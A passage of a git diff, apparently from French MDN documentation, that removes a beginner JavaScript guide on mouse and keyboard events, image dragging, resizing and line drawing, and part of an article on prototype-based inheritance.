- Ne vous attendez pas à réaliser une application comme Google Maps dès vos premières lignes en JavaScript.

-

Pour commencer

-

Il est très facile de débuter en JavaScript. Vous n'avez pas besoin d'avoir des outils de développement installés. Vous n'avez pas besoin de savoir utiliser une console, Make, ou d'utiliser un compilateur. JavaScript est interprété par votre navigateur web. Tout ce dont vous avez besoin est d'enregistrer votre programme dans un fichier texte puis de l'ouvrir dans votre navigateur. C'est tout.

-

JavaScript est un excellent langage de programmation pour débuter l'apprentissage de langages informatiques. Il permet des retours instantanés pour le nouvel étudiant, et lui fera découvrir des outils dont il ne manquera pas d'apprécier l'utilité dans la vie réelle. C'est un contraste saisissant en comparaison des langages C, C++ et Java qui peuvent être utiles pour certaines applications particulières.

-

Les problèmes de compatibilité entre les navigateurs

-

Il existe certaines variations concernant la disponibilité des fonctionnalités entre les différents navigateurs. Mozilla Firefox, Google Chrome, Microsoft Internet Explorer, Apple Safari et Opera se comportent différement. Vous pouvez atténuer ces fluctuations en utilisants les diverses API JavaScript multi-plateformes disponibles. Ces API fournissent des fonctionnalités communes et masquent certaines des variations entre les navigateurs.

-

Comment essayer les exemples

-

Les exemples qui suivent possédent des échantillons de code. Il y a de multiples façons d'essayer ces exemples. Si vous posséder votre propre site, vous pouvez les sauvegarder comme nouvelles pages de celui-ci.

-

Si vous ne possédez pas de site personnel, vous pouvez sauvegarder ces exemples sous forme de fichiers sur votre ordinateur et les ouvrir dans le navigateur que vous utilisez en ce moment.
- JavaScript est un langage très simple à utiliser pour commencer la programmation pour cette raison. Vous n'avez pas besoin de compilateur, ou d'un environnement de développement ; votre navigateur est le seul outil dont vous avez besoin pour démarrer.

-

Vour pouvez également utiliser certains site comme jsfiddle.net pour tester du code JavaScript.

-

Exemple : Capturer le clic de la souris

-

Les spécificités de la gestion d'événements (types d'événements, enregistrement des gestionnaires, propagation, etc.) sont trop vastes pour être totalement couverte par ce simple exemple. De plus, celui-ci ne peut présenter la capture du clic souris sans approfondir un minimum le système d'événements JavaScript. Garder à l'esprit que cet exemple va seulement éfleurer l'exhaustivité des événements JavaScript et que si vous souhaitez aller au delà des fonctionnalités basiques qui y sont décrites, lisez en plus à propos du système d'événements JavaScript.

-

Les événements « souris » sont un sous-ensemble de la pléthore d'événements déclenchés par le navigateur Web en réponse aux actions de l'utilisateur. Ce qui suit est une liste des événements émis en réponse aux actions d'un utilisateur sur la souris :

-
    -
  • click - transmis quand un utilisateur clic avec la souris
    • -
  • dblclick - transmis quand un utilisateur double-clic avec la souris
    • -
  • mousedown - transmis lorsqu'un utilisateur presse un bouton de la souris (la première moitié d'un clic)
    • -
  • mouseup - transmis lorsqu'un utilisateur relâche un bouton de la souris (la seconde moitié d'un clic)
    • -
  • mouseout - transmis lorsque le pointeur de la souris quitte les limites graphiques d'un objet
    • -
  • mouseover - transmis lorsque le pointeur de la souris entre dans les limites graphiques d'un objet
    • -
  • mousemove - transmis lorsque le pointeur de la souris bouge à l'intérieur des limites graphiques d'un objet
    • -
  • contextmenu - transmis lorsqu'un utilisateur effectue un clic-droit.
    • -
-

Noter que dans les versions d'HTML, les événements inline (ceux ajoutés en tant qu'attribut de balise), doivent être écris en minuscule et que les gestionnaires d'événements dans les scripts sont aussi en minuscule.

-

La méthode la plus simple pour capturer ces événements et enregistrer les gestionnaires - en utilisant le HTML - est de spécificer chaque événement en tant qu'attribut de l'élément désiré.

-
  <span onclick="alert('Hello World!');">Cliquer ici</span>
-

Le code JavaScript que vous souhaitez exécuter peut être disposé en ligne dans l'élément ou bien être placé dans un éléménet <script> au sein de votre page HTML :

-
<script>
-  function clickHandler() {
-     alert("Hello, World!");
-  }
-</script>
-<span onclick="clickHandler();">Cliquer ici</span>
-

Il est possible de capturer et d'utiliser l'événement qui se produit. Cela permet au développeur d'accéder à plus d'informations (par exemple : l'objet qui a reçu l'événement, le type de l'événement et le bouton de la souris utilisé). Par exemple :

-
<script>
-  function clickHandler(événement) {
-    var eType = événement.type;
-    /* l'instruction suivante est utilisée à des fins de compatibilité */
-    /* Firefox renseignera la propriété target de l'événement */
-    /* IE renseignera la propriété srcElement */
-    var eTarget = événement.target || événement.srcElement;
-
-    alert( "événement capturé (type = " + eType + ", cible = " + eTarget + ")" );
-  }
-</script>
-<span onclick="clickHandler(event);">Cliquer ici</span>
-

En plus de pouvoir recevoir des événements dans le HTML, il est possible de définir de nouveaux éléments HTML en JavaScript et de définir leurs attributs. L'exemple ci-après permet d'ajouter un élément {{HTMLElement("span")}} au corps de la page et de définir les attributs nécessaires pour qu'il reçoive les événements liés à la souris.

-
<body></body>
-<script>
-  function mouseeventHandler(event) {
-    /* La ligne qui suit est utilisée à des fins de compatibilité */
-    /* IE ne fournit pas directement l'événement */
-    /* il faut obtenir une référence vers l'événement si nécessaire */
-    if (!event) event = window.event;
-
-    /* on récupère le type de l'événement et la cible */
-    var eType = event.type;
-    var eTarget = event.target || event.srcElement;
-    alert(eType +' événement sur l'élément avec l'identifiant '+ eTarget.id);
-  }
-
- function onloadHandler() {
-   /* on récupère une référence à l'élément 'body' de la page */
-   var body = document.body;
-   /* on crée un élément span sur lequel on pourra cliquer */
-   var span = document.createElement('span');
-   span.id = 'SpanExemple';
-   span.appendChild(document.createTextNode ('Cliquer ici !'));
-
-   /* on inscrit l'objet span aux différents événements liés à la souris
-      les événements sont écrits en minuscules, le nom du gestionnaire d'événement
-      peut avoir n'importe quelle casse.
-   */
-   span.onmousedown = mouseeventHandler;
-   span.onmouseup = mouseeventHandler;
-   span.onmouseover = mouseeventHandler;
-   span.onmouseout = mouseeventHandler;
-
-   /* on affiche l'élément span sur la page */
-   body.appendChild(span);
-}
-
-window.onload = onloadHandler; // on remplace la fonction (on ne l'appelle pas) et donc on ne met pas de parenthèses
-</script>
-

Exemple : Intercepter un événement clavier

-

De la même façon que pour les événements liés à la souris, il est possible d'utiliser les événements JavaScript pour capturer les interactions liées au clavier. Un événement est déclenché à chaque fois qu'une touche du clavier est utilisée.

-

La liste des événéments disponibles pour le clavier est plus restreinte que celle des événements pour la souris :

-
    -
  • keypress : se produit quand on appuie sur une touche et qu'on la relâche
    • -
  • keydown : se produit quand on appuie sur une touche et que celle-ci n'a toujours pas été relâchée
    • -
  • keyup : se produit quand la touche du clavier est relâchée
    • -
  • TextInput (disponible pour les navigateurs Webkit au moment de l'écriture) : se produit quand du texte est saisi, que ce soit via un coller du presse-papier, une commande vocale ou une saisie clavier. Cet événement ne sera pas traité dans cet article.
    • -
-

Lors d'un événement keypress, la valeur Unicode de la touche pressée est enregistrée grâce à la propriété keyCode ou charCode (mais jamais dans les deux). Si la touche pressée génère un caractère (par exemple 'a'), charCode représentera la valeur du caractère en tenant compte de la casse (charCode gère l'appui simultané avec la touche shift pour écrire en majuscules). Dans les autres cas, le code de la touche est enregistré dans keyCode.

-

La façon la plus simple d'intercepter les événements clavier est ici aussi d'enregistrer des gestionnaires d'événements (handlers) dans le HTML et de spécifier quels événements doivent être gérés. Par exemple :

-
<input type="text" onkeypress="alert ('Coucou monde !');">
-

De la même façon qu'avec les événements liés à la souris, le code JavaScript peut être présenté dans la définition de l'attribut ou bien au sein d'un bloc {{HTMLElement("script")}} de la page HTML utilisée :

-
<script>
-  function keypressHandler() {
-    alert ("Coucou monde !");
-  }
-</script>
-
-<input onkeypress="keypressHandler();" />
-

De la même façon que pour les événements liés à la souris, on peut enregistrer les détails de l'événement et de la cible de cet événement :

-
<script type="text/javascript">
-  function keypressHandler(evt) {
-      var eType = evt.type; // Renverra "keypress" comme type d'événement
-      /* ici aussi on utilise une instruction pour que le code fonctionne
-         sur les différents navigateurs (mozilla utilise which et les autre
-         navigateurs utilisent keyCode.
-         On peut ici utiliser l'opérateur ternaire pour obtenir le résultat */
-      var keyCode = evt.which?evt.which:evt.keyCode;
-      var eCode = 'keyCode est ' + keyCode;
-      var eChar = 'charCode est ' + String.fromCharCode(keyCode); // ou evt.charCode
-      alert ("Événement capturé (type = " + eType + ", valeur Unicode pour la touche = " + eCode + ", valeur ASCII = " + eChar + ")");
-   }
-</script>
-<input onkeypress="keypressHandler(event);" />
-

Il est possible de capturer n'importe quel élément clavier en associant un gestionnaire d'événement avec ceux du document grâce à une fonction :

-
<script>
-  document.onkeypress = keypressHandler;
-  document.onkeydown = keypressHandler;
-  document.onkeyup = keypressHandler;
-</script>
-

Voici un exemple complet qui illustre comment gérer les événements du clavier :

-
<!DOCTYPE html>
-<html>
-<head>
-  <script>
-    var metaChar = false;
-    var toucheExemple = 16;
-    function keyEvent(event) {
-      var key = event.keyCode || event.which; // une autre syntaxe que l'opérateur ternaire s'il n'y a pas de keyCode
-      var keychar = String.fromCharCode(key);
-      if (key == toucheExemple) {
-        metaChar = true;
-      }
-      if (key != toucheExemple) {
-         if (metaChar) {
-            alert("Combinaison de la touche meta et de " + keychar)
-            metaChar = false;
-         } else {
-           alert("Touche utilisée : " + key);
-         }
-      }
-    }
-    function metaKeyUp(event) {
-      var key = event.keyCode || event.which;
-      if (key == toucheExemple) { metaChar = false; }
-    }
-  </script>
-</head>
-<body onkeydown="keyEvent(event)" onkeyup="metaKeyUp(event)">
-    Essayez de presser une touche !
-</body>
-</html>
-

Bugs et spécificités des navigateurs

-

Les deux propriétés des différents événements clavier sont keyCode et charCode. Pour faire simple, keyCode fait référence à la touche du clavier qui a été utilisée alors que charCode représente la valeur ASCII du caractère de la touche. Ces deux valeurs peuvent ne pas être les mêmes. Par exemple un 'a' (minuscule) et un 'A' (majuscule) auront le même keyCode car l'utilisateur appuiera sur la même touche du clavier. En revanche, la propriété charCode sera différente car le caractère sera différent.

-

La navigateurs interprètent charCode de façons différentes. Ainsi, Internet Explorer et Opera ne supportent pas charCode. Cependant, l'information du caractère est bien fourni avec keyCode , mais uniquement lors de l'événement keypress. Lors de keydown et de keyup keyCode contient les informations liées à la touche utilisée. Firefox utilise un terme différent : which pour distinguer le caractère.

-

Pour plus de précisions sur le fonctionnement des événements liés au clavier, voir la page sur l'API KeyboardEvent.

-

{{ draft() }}

-

Exemple : Déplacer des images

-

L'exemple qui suit permet de déplacer une image de Firefox sur la page :

-
<!DOCTYPE html>
-<html>
-<head>
-<style>
-img { position: absolute; }
-</style>
-
-<script>
-window.onload = function() {
-
-  movMeId = document.getElementById("ImgMov");
-  movMeId.style.top = "80px";
-  movMeId.style.left = "80px";
-
-  document.onmousedown = coordinates;
-  document.onmouseup = mouseup;
-
-  function coordinates(e) {
-    if (e == null) { e = window.event;}
-
-    // sous IE e.srcElement définira l'élément cible alors que pour Firefox ce sera e.target
-    // Ces deux propriétés renvoient l'élément HTML pour lequel s'est produit l'événement.
-
-    var sender = (typeof( window.event ) != "undefined" ) ? e.srcElement : e.target;
-
-    if (sender.id=="ImgMov") {
-      mouseover = true;
-      pleft = parseInt(movMeId.style.left);
-      ptop = parseInt(movMeId.style.top);
-      xcoor = e.clientX;
-      ycoor = e.clientY;
-      document.onmousemove = moveImage;
-      return false;
-    }
-    return false;
-  }
-
-  function moveImage(e) {
-    if (e == null) { e = window.event; }
-    movMeId.style.left = pleft+e.clientX-xcoor+"px";
-    movMeId.style.top = ptop+e.clientY-ycoor+"px";
-    return false;
-  }
-
-  function mouseup(e) {
-    document.onmousemove = null;
-  }
-}
-</script>
-</head>
-
-<body>
-  <img id="ImgMov" src="http://placehold.it/100x100&text=JS" width="64" height="64">
-  <p>Vous pouvez déplacer l'image sur cette page.</p>
-</body>
-
-</html>
-

Exemple : Redimensionner des éléments

-
- Voici un exemple de code qui permet de redimensionner une image (note : seul le rendu final est redimensionné, l'image de base ne sera pas redimensionnée).
-
<!DOCTYPE html>
-  <html>
-    <head>
-      <style>
-        #resizeImage {
-          margin-left: 100px;
-        }
-      </style>
-      <script>
-      window.onload = function() {
-
-        var resizeId = document.getElementById("resizeImage");
-        var resizeStartCoordsX,
-            resizeStartCoordsY,
-            resizeEndCoordsX,
-            resizeEndCoordsY;
-
-        var resizeEndCoords;
-        var resizing = false;
-
-        document.onmousedown = coordinatesMousedown;
-        document.onmouseup = coordinatesMouseup;
-
-        function coordinatesMousedown(e) {
-          if (e == null) {
-            e = window.event;
-          }
-
-          var element = (typeof( window.event ) != 'undefined' ) ? e.srcElement : e.target;
-
-          if (element.id == "resizeImage") {
-            resizing = true;
-            resizeStartCoordsX = e.clientX;
-            resizeStartCoordsY = e.clientY;
-          }
-          return false;
-        }
-
-        function coordinatesMouseup(e) {
-          if (e == null) {
-            e = window.event;
-          }
-
-          if (resizing === true) {
-            var currentImageWidth = parseInt(resizeId.width);
-            var currentImageHeight = parseInt(resizeId.height);
-
-            resizeEndCoordsX = e.clientX;
-            resizeEndCoordsY = e.clientY;
-
-            resizeId.style.height = currentImageHeight - (resizeStartCoordsY - resizeEndCoordsY) + 'px';
-            resizeId.style.width = currentImageWidth - (resizeStartCoordsX - resizeEndCoordsX) + 'px';
-
-            resizing = false;
-          }
-          return false;
-        }
-      }
-      </script>
-    </head>
-
-    <body>
-      <img id="resizeImage" src="http://upload.wikimedia.org/wikipedia/commons/e/e7/Mozilla_Firefox_3.5_logo_256.png"
-width="64" height="64">
-      <p>Cliquer sur l'image et étirer pour la redimensionner.</p>
-    </body>
-
-  </html>
-
-  
-

Exemple : Tracer des lignes

-
<!DOCTYPE html>
-<html>
-<head>
-<script>
-function dessinerLigne(ax, ay, bx, by)
-{
-    if(ay > by)
-    {
-        bx = ax+bx;
-        ax = bx-ax;
-        bx = bx-ax;
-        by = ay+by;
-        ay = by-ay;
-        by = by-ay;
-    }
-    var calc = Math.atan((ay-by)/(bx-ax));
-    calc = (calc*180)/Math.PI;
-    var length = Math.sqrt((ax-bx)*(ax-bx)+(ay-by)*(ay-by));
-    document.body.innerHTML += "<div id='ligne' style='height:" + length + "px;width:1px;background-color:black;position:absolute;top:" + (ay) + "px;left:" + (ax) + "px;transform:rotate(" + calc + "deg);-ms-transform:rotate(" + calc + "deg);transform-origin:0% 0%;-moz-transform:rotate(" + calc + "deg);-moz-transform-origin:0% 0%;-webkit-transform:rotate(" + calc  + "deg);-webkit-transform-origin:0% 0%;-o-transform:rotate(" + calc + "deg);-o-transform-origin:0% 0%;'></div>"
-}
-</script>
-</head>
-<body onload="dessinerLigne(200,400,500,900);"> <!-- Remplacez les coordonnées que vous souhaitez utiliser -->
-</body>
-</html>
diff --git "a/files/fr/web/javascript/h\303\251ritage_et_cha\303\256ne_de_prototypes/index.html" "b/files/fr/web/javascript/h\303\251ritage_et_cha\303\256ne_de_prototypes/index.html" deleted file mode 100644 index 255516427a..0000000000 --- "a/files/fr/web/javascript/h\303\251ritage_et_cha\303\256ne_de_prototypes/index.html" +++ /dev/null @@ -1,573 +0,0 @@ ---- -title: Héritage et chaîne de prototype -slug: Web/JavaScript/Héritage_et_chaîne_de_prototypes -tags: - - Guide - - Héritage - - Intermédiaire - - JavaScript - - OOP -translation_of: Web/JavaScript/Inheritance_and_the_prototype_chain ---- -
{{jsSidebar("Advanced")}}
- -

JavaScript peut prêter à confusion losqu'on est habitué à manipuler des langages de programmation manipulant les classes (tels que Java ou C++). En effet, JavaScript est un langage dynamique et ne possède pas de concept de classe à part entière (le mot-clé class a certes été ajouté avec ES2015 mais il s'agit uniquement de sucre syntaxique, JavaScript continue de reposer sur l'héritage prototypique).

- -

En ce qui concerne l'héritage, JavaScript n'utilise qu'une seule structure : les objets. Chaque objet possède une propriété privée qui contient un lien vers un autre objet appelé le prototype. Ce prototype possède également son prototype et ainsi de suite, jusqu'à ce qu'un objet ait {{jsxref("null")}} comme prototype. Par définition, null ne possède pas de prototype et est ainsi le dernier maillon de la chaîne de prototype.

- -

La majorité des objets JavaScript sont des instances de {{jsxref("Object")}} qui est l'avant dernier maillon de la chaîne de prototype.

- -

Bien que cette confusion (entre classe et prototype) soit souvent avancée comme l'une des faiblesses de JavaScript, le modèle prototypique est plus puissant que le modèle classique et il est notamment possible de construire un modèle classique à partir d'un modèle prototypique.

- -

Héritage et chaîne de prototype

- -

Propriété héritées

- -

Les objets JavaScript sont des ensembles dynamiques de propriétés (les propriétés directement rattachées à un objet sont appelées propriétés en propre (own properties)). Les objets JavaScript possèdent également un lien vers un objet qui est leur prototype. Lorsqu'on tente d'accéder aux propriétés d'un objet, la propriété sera recherchée d'abord sur l'objet même, puis sur son prototype, puis sur le prototype du prototype et ainsi de suite jusqu'à ce qu'elle soit trouvée ou que la fin de la chaîne de prototype ait été atteinte.

- -
-

Note : Dans la spécification ECMAScript, on utilise la notation unObjet.[[Prototype]] pour faire référence au prototype de unObjet. Depuis ECMAScript 2015, on peut accéder à [[Prototype]] grâce aux accesseurs {{jsxref("Object.getPrototypeOf()")}} et {{jsxref("Object.setPrototypeOf()")}}. Cela est équivalent à la propriété JavaScript __proto__ qui était non-standard avant ES2015 mais qui était de fait implémentée par la majorité des navigateurs.

- -

Cette propriété ne devrait pas être confondue avec la propriété func.prototype des fonctions qui définissent le [[Prototype]] à affecter aux instances des objets créés par cette fonction lorsqu'elle est utilisée comme constructeur. La propriété Object.prototype représente le prototype de {{jsxref("Object")}}.

-
- -

Voici ce qui se produit lorsqu'on tente d'accéder à une propriété :

- -
// On commence par créer un objet o pour lequel la fonction f sera
-// son constructeur et lui créera deux propriétés en propre
-// a et b :
-let f = function () {
-   this.a = 1;
-   this.b = 2;
-}
-let o = new f(); // {a: 1, b: 2}
-
-// on ajoute des propriétés au prototype de la fonction
-// f
-f.prototype.b = 3;
-f.prototype.c = 4;
-
-// Note : on ne définit pas le prototype de f avec f.prototype = {b:3,c:4};
-// car cela briserait la chaîne de prototype
-
-// o.[[Prototype]] possède les propriétés b and c.
-// o.[[Prototype]].[[Prototype]] est Object.prototype.
-// Enfin, o.[[Prototype]].[[Prototype]].[[Prototype]] vaut null.
-// On a alors atteint la fin de la chaîne de prototype car,
-// par définition, null n'a pas de [[Prototype]].
-// Ainsi, la chaîne complète est ici :
-// {a: 1, b: 2} ---> {b: 3, c: 4} ---> Object.prototype ---> null
-
-console.log(o.a); // 1
-// Existe-t-il une propriété 'a' en propre sur o ? Oui, elle vaut 1.
-
-console.log(o.b); // 2
-// Existe-t-il une propriété 'b' en propre sur o ? Oui, elle vaut 2.
-// Le prototype possède également une propriété 'b' mais elle n'est pas
-// utilisée.
-// C'est ce qu'on appelle l'ombrage (shadowing en anglais)
-
-console.log(o.c); // 4
-// Existe-t-il une propriété 'c' en propre sur o ? Non, on vérifie le
-// prototype.
-// Existe-t-il une propriété 'c' en propre sur o.[[Prototype]] ?
-// Oui, elle vaut 4.
-
-console.log(o.d); // undefined
-// Existe-t-il une propriété 'd' en propre sur o ? Non, on vérifie le
-// prototype.
-// Existe-t-il une propriété 'd' en propre sur o.[[Prototype]] ? Non, on vérifie le
-// prototype.
-// o.[[Prototype]].[[Prototype]] est Object.prototype et ne contient pas
-// de propriété 'd' par défaut. On vérifie son prototype.
-// o.[[Prototype]].[[Prototype]].[[Prototype]] est null, on arrête la recherche
-// aucune propriété n'est trouvée, le moteur renvoie undefined.
-
- -

Lorsquon définit une propriété sur un objet, cela définit une propriété en propre. La seule exception se produit lorsqu'on définit un accesseur et/ou un mutateur sur une propriété héritée.

- -

Méthodes héritées

- -

JavaScript ne possède pas de méthodes au sens des langages de classe. En effet, en JavaScript, toute fonction associée à un objet est également une propriété. Une fonction héritée se comportera comme n'importe quelle autre propriété (y compris pour l'ombrage mentionné ci-avant où on pourra parler de surcharge).

- -

Lorsqu'une fonction héritée est exécutée, la valeur de this pointe vers l'objet hérité et non vers l'objet prototype qui possède la fonction comme propriété en propre.

- -
var o = {
-  a: 2,
-  m: function() {
-    return this.a + 1;
-  }
-};
-
-console.log(o.m()); // 3
-// Quand on appelle o.m ici, 'this' fera référence à o
-
-var p = Object.create(o);
-// p est un objet qui hérite de o
-
-p.a = 4; // on crée une propriété 'a' en propre sur p
-console.log(p.m()); // 5
-// lorsque p.m est appelée, 'this' fait référence à p.
-// Ainsi quand p hérite de m via o,
-// 'this.a' signifie p.a, soit la propriété 'a' de p
-
-
-
- -

Utiliser les prototypes avec JavaScript

- -

Regardons un peu plus en détail ce qui se déroule en arrière-plan.

- -
-

Note : Pour tous les exempls suivants, nous vous invitons à ouvrir la "console" de votre navigateur pour y copier/coller/éditer les fragments de code. Pour savoir comment lancer cette console, vous pouvez lire la documentation des navigateurs : Firefox, Chrome, Edge.

-
- -

En JavaScript, comme mentionné ci-dessus, les fonctions peuvent avoir des propriétés. Toutes les fonctions ont une propriété spéciale intitulée prototype.

- -
function faireUnTruc(){}
-console.log( faireUnTruc.prototype ); // Object {...}
-// Peu importe comment vous déclarez la fonction.
-// une fonction en JavaScript aura toujours une propriété
-// prototype par défaut.
-var faireUnTruc= function(){};
-console.log(faireUnTruc.prototype); // Object {...}
-
- -

Comme mentionné avant, faireUnTruc() possède une propriété par défaut prototype. Après avoir exécuté ce code dans une console, la console devrait afficher un objet semblable à :

- -
{
-    constructor: ƒ faireUnTruc(),
-    __proto__: {
-        constructor: ƒ Object(),
-        hasOwnProperty: ƒ hasOwnProperty(),
-        isPrototypeOf: ƒ isPrototypeOf(),
-        propertyIsEnumerable: ƒ propertyIsEnumerable(),
-        toLocaleString: ƒ toLocaleString(),
-        toString: ƒ toString(),
-        valueOf: ƒ valueOf()
-    }
-}
- -

On peut ajouter des propriétés au prototype de faireUnTruc() comme suit :

- -
function faireUnTruc(){}
-faireUnTruc.prototype.toto = "truc";
-console.log( faireUnTruc.prototype );
- -

Produira le résultat suivant :

- -
{
-    toto: "truc",
-    constructor: ƒ faireUnTruc(),
-    __proto__: {
-        constructor: ƒ Object(),
-        hasOwnProperty: ƒ hasOwnProperty(),
-        isPrototypeOf: ƒ isPrototypeOf(),
-        propertyIsEnumerable: ƒ propertyIsEnumerable(),
-        toLocaleString: ƒ toLocaleString(),
-        toString: ƒ toString(),
-        valueOf: ƒ valueOf()
-    }
-}
-
- -

On peut utiliser l'opérateur new afin de créer une instance de faireUnTruc() basée sur ce prototype. Pour utiliser l'opérateur new, il suffira d'appeler la fonction et de précéder cet appel avec le mot-clé new. Lorsqu'on appelle une fonction avec un opérateur new, celle-ci renvoie un objet qui est une instance de la fonction. On peut ensuite ajouter des propriétés sur cet objet.

- -

Voyons le code qui suit :

- -
function faireUnTruc(){}
-faireUnTruc.prototype.toto = "truc"; // on ajoute une propriété au prototype
-var uneInstance = new faireUnTruc();
-uneInstance.prop = "une valeur"; // on ajoute une propriété sur l'objet
-console.log(uneInstance);
- -

Exécuté, ce code produira le résultat suivant dans la console :

- -
{
-    prop: "une valeur",
-    __proto__: {
-        toto: "truc",
-        constructor: ƒ faireUnTruc(),
-        __proto__: {
-            constructor: ƒ Object(),
-            hasOwnProperty: ƒ hasOwnProperty(),
-            isPrototypeOf: ƒ isPrototypeOf(),
-            propertyIsEnumerable: ƒ propertyIsEnumerable(),
-            toLocaleString: ƒ toLocaleString(),
-            toString: ƒ toString(),
-            valueOf: ƒ valueOf()
-        }
-    }
-}
- -

Comme nous l'avons vu avant, la valeur de __proto__ pour uneInstance est faireUnTruc.prototype. Mais quel est l'intérêt ? Lorsqu'on accède à une propriété de uneInstance, le moteur contrôle d'abord si uneInstance possède cette propriété.

- -

Si uneInstance ne possède pas cette propriété, le moteur contrôlera la propriété sur la propriété __proto__ de uneInstance (c'est-à-dire faireUnTruc.prototype). Si la propriété __proto__ de uneInstance possède la propriété qu'on recherche, ce sera celle-ci qui sera utilisée.

- -

Si __proto__ de unTruc ne possède pas la propriété recherchée, le moteur contrôle la propriété __proto__ de la propriété __proto__ de uneInstance. Par défaut, la propriété __proto__ de n'importe quel propriété prototyped'une fonction est  window.Object.prototype. Ainsi, la propriété __proto__ de la propriété __proto__ de  uneInstance (c'est-à-dire __proto__ de faireUnTruc.prototype (c'est-à-dire. Object.prototype)) est contrôlée pour vérifier si la propriété y est présente.

- -

Si la propriété n'est pas trouvée sur la propriété __proto__ de la propriété __proto__ de uneInstance, c'est la proriété __proto__ de la propriété __proto__ de la propriété __proto__ de uneInstance qui est contrôlée. Cependant il y a un problème car la propriété __proto__ de la propriété __proto__ de la propriété __proto__ de unTruc n'existe pas. Autrement dit, toute la chaîne de prototype a été parcouru et on ne peut pas remonter d'un cran sur un autre __proto__ et le moteur peut conclure que la propriété n'existe pas pour cet objet et renvoyer undefined.

- -

Regardons ce qui se produit dans la console avec un peu de code :

- -
function faireUnTruc(){}
-faireUnTruc.prototype.toto = "truc";
-var uneInstance = new faireUnTruc();
-uneInstance.prop = "une valeur";
-console.log("uneInstance.prop: " + uneInstance.prop);
-console.log("uneInstance.toto: " + uneInstance.toto);
-console.log("faireUnTruc.prop: " + faireUnTruc.prop);
-console.log("faireUnTruc.toto: " + faireUnTruc.toto);
-console.log("faireUnTruc.prototype.prop: " + faireUnTruc.prototype.prop);
-console.log("faireUnTruc.prototype.toto:  " + faireUnTruc.prototype.toto);
- -

Le résultat est le suivant :

- -
uneInstance.prop: une valeur
-uneInstance.toto: truc
-faireUnTruc.prop: undefined
-faireUnTruc.toto: undefined
-faireUnTruc.prototype.prop: undefined
-faireUnTruc.prototype.toto: truc
- -

Les différentes façons de créer des objets et les impacts sur la chaîne de prototype

- -

Objets créés avec les raccourcis syntaxiques (littéraux)

- -
var o = {a: 1};
-
-// Le nouvel objet possède Object.prototype comme [[Prototype]]
-// o ne possède pas de propriété 'hasOwnProperty' en propre
-// hasOwnProperty est une propriété en propre de Object.prototype.
-// o hérite de hasOwnProperty via Object.prototype
-// Object.prototype possède null comme prototype.
-// o ---> Object.prototype ---> null
-
-var b = ['coucou', 'ça va', '?'];
-
-// Les tableaux (Array) héritent de Array.prototype
-// (qui possède les méthodes indexOf, forEach, etc.)
-// La chaîne de prototype est donc :
-// b ---> Array.prototype ---> Object.prototype ---> null
-
-function f() {
-  return 2;
-}
-
-// Les fonctions héritent de Function.prototype
-// (qui possède les méthodes call, bind, etc.)
-// La chaîne de prototype est donc
-// f ---> Function.prototype ---> Object.prototype ---> null
-
- -

Objets créés avec un constructeur

- -

En JavaScript, un constructeur est juste une fonction que l'on invoque avec l'opérateur new.

- -
function Graphe() {
-  this.sommets = [];
-  this.arêtes = [];
-}
-
-Graphe.prototype = {
-  ajoutSommet: function(v) {
-    this.sommets.push(v);
-  }
-};
-
-var g = new Graphe();
-// g est un objet qui possède les propriétés 'sommets' and 'arêtes' en propre.
-// g.[[Prototype]] est la valeur de Graphe.prototype lorsque "new Graphe()" est exécuté.
-
- -

Objets créés avec Object.create()

- -

ECMAScript 5 a introduit une nouvelle méthode : {{jsxref("Object.create()")}}. Appeler cette méthode crée un nouvel objet et le prototype de cet objet est le premier argument de cette fonction :

- -
var a = {a: 1};
-// a ---> Object.prototype ---> null
-
-var b = Object.create(a);
-// b ---> a ---> Object.prototype ---> null
-console.log(b.a); // 1 (héritée)
-
-var c = Object.create(b);
-// c ---> b ---> a ---> Object.prototype ---> null
-
-var d = Object.create(null);
-// d ---> null
-console.log(d.hasOwnProperty);
-// undefined, car d n'hérite pas de Object.prototype
-
- -

Suppression des propriétés avec delete

- -

L'opérateur delete permet de supprimer une propriété directement rattachée à un objet. En revanche, il n'empêchera pas l'exploration de la chaîne de prototype :

- -
let a = {toto: 1};
-let b = Object.create(a);
-
-console.log(b.toto); // Affiche 1 car c'est une propriété disponible via le prototype
-b.toto = 5;
-console.log(b.toto); // Affiche 5, désormais cette propriété existe sur l'objet
-
-delete b.toto;
-console.log(b.toto); // Affiche 1 : la propriété n'est plus disponible sur l'objet mais
-                     // on peut toujours la récupérer via le prototype
- -

Objets créés avec le mot-clé class

- -

ECMAScript 2015 introduit plusieurs mots-clés destinés à créer du sucre syntaxique pour manipuler des classes. Ces mots-clés sont {{jsxref("Instructions/class", "class")}}, {{jsxref("Classes/constructor", "constructor")}}, {{jsxref("Classes/static", "static")}}, {{jsxref("Classes/extends", "extends")}} et {{jsxref("Opérateurs/super", "super")}}.

- -
'use strict';
-
-class Polygone {
-  constructor(hauteur, largeur) {
-    this.hauteur = hauteur;
-    this.largeur = largeur;
-  }
-}
-
-class Carré extends Polygone {
-  constructor(longueurCôté) {
-    super(longueurCôté, longueurCôté);
-  }
-  get aire() {
-    return this.hauteur * this.largeur;
-  }
-  set longueurCôté(nouvelleLongueur) {
-    this.hauteur = nouvelleLongueur;
-    this.largeur = nouvelleLongueur;
-  }
-}
-
-var carré = new Carré(2);
-
- -

Performance

- -

Le temps de recherche des propriétés sera plus élevé si ces propriétés sont situées plus loin dans la chaîne de prototype. Tenter d'accéder à ces propriétés éloignées pourra avoir un impact négatif sur les performances. De plus, tenter d'accéder à des propriétés inexistantes entraîntera toujours le parcours de l'ensemble de la chaîne de prototype.

- -

Lorsqu'on parcourt les propriétés d'un objet, toutes les propriétés énumérables situées sur la chaîne de prototype seront parcourues. Pour vérifier si un objet possède une propriété en propre plus que via sa chaîne de prototype, on devra utiliser la méthode hasOwnProperty() qui est héritée grâce à Object.prototype. Prenons un exemple concret avec le cas du graphe traité dans un exemple précédent :

- -
console.log(g.hasOwnProperty('arêtes'));
-// true
-
-console.log(g.hasOwnProperty('nononon'));
-// false
-
-console.log(g.hasOwnProperty('ajoutSommet'));
-// false
-
-console.log(g.__proto__.hasOwnProperty('ajoutSommet'));
-// true
-
- -
-

Note : Tester si une propriété vaut {{jsxref("undefined")}} ne suffit pas à vérifier la présence de la propriété sur un objet : une propriété peut très bien exister sur un objet mais valoir undefined.

-
- -

Mauvaise pratique : étendre les prototypes natifs

- -

On peut parfois voir du code qui étend Object.prototype ou l'un des prototypes natifs.

- -

Cette technique est intitulée monkey patching et brise l'encapsulation. Bien qu'elle soit utilisée par certains frameworks, il n'existe pas de raison suffisante pour étendre les objets natifs avec des fonctionnalités non-standard.

- -

